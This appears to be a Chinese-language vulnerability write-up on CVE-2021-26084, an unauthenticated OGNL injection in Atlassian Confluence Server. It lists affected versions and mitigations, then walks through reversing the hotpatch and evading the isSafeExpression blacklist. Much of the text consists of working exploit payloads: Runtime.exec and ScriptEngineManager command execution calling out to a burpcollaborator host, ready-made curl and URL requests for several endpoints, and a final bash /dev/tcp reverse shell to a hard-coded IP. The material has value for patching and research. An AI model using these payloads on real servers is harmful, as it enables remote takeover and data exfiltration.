目录导航
执行摘要
在2021年8月25日,Atlassian在合流服务器和数据中心发布了一个安全顾问,CVE-2021-26084的注入漏洞。如果该漏洞被利用,攻击者可以绕过身份验证并在未打补丁的系统上运行任意代码。自本公告发布以来,大规模扫描活动已经开始,寻找未打补丁的系统,并开始进行野外利用。Unit 42 建议客户升级到最新版本的 Confluence Server 和 Data Center。

受影响的系统
易受 CVE-2021-26084 攻击的 Atlassian 产品是使用以下版本的 Confluence Server 和 Data Center 的产品:
- 所有 4.xx 版本。
- 所有 5.xx 版本。
- 所有 6.0.x 版本。
- 所有 6.1.x 版本。
- 所有 6.2.x 版本。
- 所有 6.3.x 版本。
- 所有 6.4.x 版本。
- 所有 6.5.x 版本。
- 所有 6.6.x 版本。
- 所有 6.7.x 版本。
- 所有 6.8.x 版本。
- 所有 6.9.x 版本。
- 所有 6.10.x 版本。
- 所有 6.11.x 版本。
- 所有 6.12.x 版本。
- 6.13.23 之前的所有 6.13.x 版本。
- 所有 6.14.x 版本。
- 所有 6.15.x 版本。
- 所有 7.0.x 版本。
- 所有 7.1.x 版本。
- 所有 7.2.x 版本。
- 所有 7.3.x 版本。
- 7.4.11 之前的所有 7.4.x 版本。
- 所有 7.5.x 版本。
- 所有 7.6.x 版本。
- 所有 7.7.x 版本。
- 所有 7.8.x 版本。
- 所有 7.9.x 版本。
- 所有 7.10.x 版本。
- 7.11.6 之前的所有 7.11.x 版本。
- 7.12.5 之前的所有 7.12.x 版本。
Confluence Cloud 客户不受此漏洞的影响。
升级到版本 6.13.23、7.11.6、7.12.5、7.13.0 或 7.4.11 的客户不受影响。
缓解措施
我们建议客户将 Atlassian Confluence Server 和 Data Center 更新到最新版本7.13.0 (TLS)。您可以在Atlassian 的下载中心找到最新版本。
如果您无法安装最新升级,请参阅 Atlassian 安全公告中的缓解部分,了解有关如何通过为您的 Confluence 服务器托管的操作系统运行脚本来缓解此漏洞的信息。
POC详情
这看起来是一个很好的漏洞赏金目标,因此我们开始逆向补丁。所以我们先让它并弹出一个shell。

分析热补丁
通常,您会在打补丁和未打补丁的版本之间进行比较以查找更改的文件,但在这种情况下,Atlassian 通过提供修补安装的 shell 脚本使其更容易。
在浏览该公告时,我们发现Atlassian 为该 CVE 发布了一个修补程序。
查看 shell 脚本,很明显有一些*.vm
文件被修改了一些字符串匹配和替换,这意味着漏洞应该位于其中的某个地方。
我们迅速获取了 Confluence Server 的未打补丁版本 (7.12.4),解压缩并确保我们正确理解了补丁,我们创建了一个 Confluence 服务器的副本并在该副本上应用了补丁脚本。
从脚本的输出中可以清楚地看出,我们只更改了 3 个文件,因此我们开始查看更改的第一个文件,即, <confluence_dir>/confluence/pages/createpage-entervariables.vm

接下来,步骤是找到这些文件的路由,结果非常简单。我们对createpage-entervariables.vm进行了递归 grep ,我们发现这个文件xwork.xml似乎包含 url 模式(路由)以及实际实现存在的类(和方法)。

在这里,name
动作元素的属性值对应于路径,/<nameValue>.action
并且该元素包含基于错误/成功等将作为响应的一部分呈现的模板。
因此,例如,简单地访问/pages/doenterpagevariables.action
应该呈现修改后的速度模板文件,即createpage-entervariables.vm
. 请记住,无论您是否打开注册功能,任何呈现此模板的路由都会导致完全未授权漏洞。

我们可以看到velocity模板是如何渲染成一个HTML页面的

我们没有直接跳到代码中,而是采用了黑盒方法,尝试在模板中输入标签名称作为参数,发现这些值实际上是从请求参数中获取并反映在响应中的。
#tag ("Hidden" "name='queryString'" "value='$!queryString'")
...
#tag ("Hidden" "name='linkCreation'" "value='$linkCreation")
在修补程序中进行此更改后,我们在请求中添加了一个随机参数,我们发现它在 $!queryString
由于在此之前我们不熟悉 Velocity 中的 OGNL 或模板注入,我们只是直接使用#{} %{} ${}
like 表达式等对其进行了尝试,但似乎两者都不起作用,并且它们在页面中原样回响。
然后,我们考虑将queryString
其自身作为参数名称进行尝试,令我们惊讶的是它确实有效,并且该值再次反映在queryString
输入标签中。但同样没有表达式评估的骰子。
我们尝试打破引号,然后评估表达式,'+#{3*33}+'
但都没有奏效。
在玩了queryString
一点之后,引起我们注意的一件事 – 添加反斜杠后\
,queryString
输入的 value 属性这次没有完全呈现。似乎要么我们能够脱离上下文,要么正在渲染某种转义序列。当queryString=\\
我们发现这个时候,这个值出现了,\
这意味着它是后者。
尝试了一个十六进制转义序列,\x2f
但该值没有再次呈现,将\\x2f
我们\x2f
放入响应中,然后我们尝试了 unicode 转义序列,\u002f
是的,它们被标准化为实际值,即\
。
因此,从速度模板中知道输入位于单引号内,这次我们试图打破它,\u0027
当 value 属性没有再次反映时,我们的怀疑变得更加强烈。再次尝试使用 \u0022 但是刚刚给了我们value=""”
在此之后,它只是平衡引号, queryString=aaaa\u0027%2b\u0027bbb
正如预期的那样,这次 value 属性出现了,value="aaaabbb"
这意味着上下文被破坏并且我们的输入被连接。
接下来,简单地将它与一个 OGNL 表达式连接起来#{3*333}
,例如,queryString=aaaa\u0027%2b#{3*333}%2b\u0027bbb
这是我们的未经授权的 OGNL 表达式评估:)

绕过 isSafeExpression
就在我们以为结束并试图直接执行一个表达式时,该表达式将为我们执行之前 Confluence 模板注入中的命令。它没有用!
退后一步,发现只有少数变量/对象是可访问的。
示例:#{session}
,#{attrs}
等工作但我们无法获得请求/响应对象,甚至不能使用#parameters
,我们也无法设置暗示存在一些检查的变量。
我们查看了 Confluence 日志,发现了这个

isSafeExpression
方法在评估我们的 OGNL 表达式之前被调用,它基本上编译了我们的 OGNL 表达式,并查看是否在其中调用了一些恶意属性/方法。

恶意变量、属性、节点类型和方法等被硬编码在这个静态块中,这说明为什么 #parameters #request 对我们不起作用

编译 OGNL 表达式并调用 containsUnsafeExpression(..)

检查我们解析的表达式的 AST 节点树以获取硬编码的黑名单
正如我们所见,该getClass()
方法也被列入了黑名单,因为它"".getClass()
是获取类的实例并执行 Java 反射以执行命令的最常用方法。
我们用谷歌搜索了一下,从Orange那里发现了这个,我们也可以class
使用数组访问器而不是getClass
方法或.class
属性来访问属性。
payload将是 –
queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022]}%2b\u0027bbb
解码为 –
queryString=aaa'+#{""["class"]}+'bbb

之后,它就尽可能简单了,我们得到了一个java.lang.Runtime
类的实例,调用getRuntime()
并最终调用该exec
方法以获得我们急需的命令执行。
Payload –
queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl <instance>.burpcollaborator.net\u0022)}%2b\u0027
解码为
queryString=aaa'+
#{
""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")
}
+'
#tag ( "Hidden" name="queryString" value="''+#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}+''" )
奖励 – 更好的payload
虽然我们得到了代码执行,但是命令的运行方式是有限制的。限制在于java.lang.Runtime.getRuntime().exec("String Command")
它自己。因此,我们不能使用重定向( < > )或 Bash 扩展,如 $() 或 “ 甚至像 ;、|、&& 等运算符。
为了规避这一点,我们可以使用重载的 exec 方法,该方法将数组作为参数。
java.lang.Runtime.getRuntime().exec(new String[]{{"/bin/bash","-c", "any linux command here"})
但不幸的isSafeExpression
是,使用new String[]
. 我们花了很多时间在 Reflections API 的帮助下创建 java 数组,但也没有运气。
最后我们遇到了这个优雅的解决方案,它利用javax.script.ScriptEngineManager
javascript 语法执行 java 代码。更多关于这个的Beans Validation RCE by @pwntester
具有shell功能的最终payload:
queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var x=new java.lang.ProcessBuilder;x.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027'.$cmd.'\u0027]);x.start()\u0022)}%2b\u0027
被解码为 –
queryString=aaa'+
#{
""["class"].forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var x=new java.lang.ProcessBuilder;x.command(['/bin/bash','-c','curl domain/$(hostname)']);x.start()");
}
+'

奖励 – 调试
免责声明 – 我们无法确定代码流中的问题究竟出在哪里,但这是我们的初步调查
找出 OGNL 表达式在速度模板内部的用户输入中是如何解析的。我们设置了一个断点isSafeExpression
来查看调用堆栈的样子。
根据我们的理解和调试,我们得出了这个结论:
#tag
Velocity 模板中组件的属性被评估为 OGNL 表达式,以将模板转换为 HTML。
AST*
&AbstractTagDirective
类的render 方法被调用,它反过来调用- 的 processTag 方法
AbstractTagDirective
,调用 doEndTag- 而且
evaluateParams
是所有名称和值的属性分别试图找到和最终由法解析为OGNL表达式findValue()
,但在此之前,SafeExpressionUtil.isSafeExpression
被调用以检查恶意表达式,一旦表达式被认为是安全的,则再次调用 OgnlValueStack.findValue(..)。
- 而且
- 的 processTag 方法

最后我们到达Object o = expressions.get(expression);
内部Ognlutil.Compile
方法,这里的表达式是我们的payload在执行这一行之后,我们的输入中的 unicode 转义被解码并再次解析表达式。>这种 unicode 解码可能是因为 Matthias [tweeted ( https://twitter.com/matthias_kaiser/status/1432669762442698753 ) 关于成为OGNL 的事情


- 调用堆栈返回,在那里它成为 Writer 对象的一部分(并最终成为 HTML 的一部分)。

2021年10月9日更新如下payloads
详情见GitHub
# UnAuthenticated RCE——基于httpvoid上令人敬畏的编写;由Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob)[8]提供
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Confluence < 7.12.14的Authenticated RCE,在Confluence服务器上需要一个有效的用户帐户
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
对于Confluence 7.12.14, newSpaceKey parm将被更新为用户具有添加页面权限的空格的Space键
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
#下面的有效负载生成一个反向shell到一个运行netcat监听器的远程主机。BurpSuite插件Hackvertor标签已被用于可读性,必须相应地转换
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>